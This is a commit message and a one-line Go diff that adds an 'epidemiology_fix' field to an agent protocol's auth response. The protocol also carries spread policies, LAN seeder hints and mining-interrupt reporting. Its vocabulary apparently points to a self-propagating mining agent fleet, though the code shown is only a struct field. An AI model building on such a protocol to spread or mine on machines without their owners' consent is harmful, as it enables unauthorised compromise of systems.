Add fleet topology epidemiology: strain plague map and mining interrupt fixes.

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.

agent/client/protocol.go

@@ -78,6 +78,7 @@ type AuthResponse struct {
 	LANSeeders          []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
 	SpreadPolicy        json.RawMessage `json:"spread_policy,omitempty"`
 	GraftPolicy         json.RawMessage `json:"graft_policy,omitempty"`
+	EpidemiologyFix     json.RawMessage `json:"epidemiology_fix,omitempty"`
 }
 
 type SharePayload struct {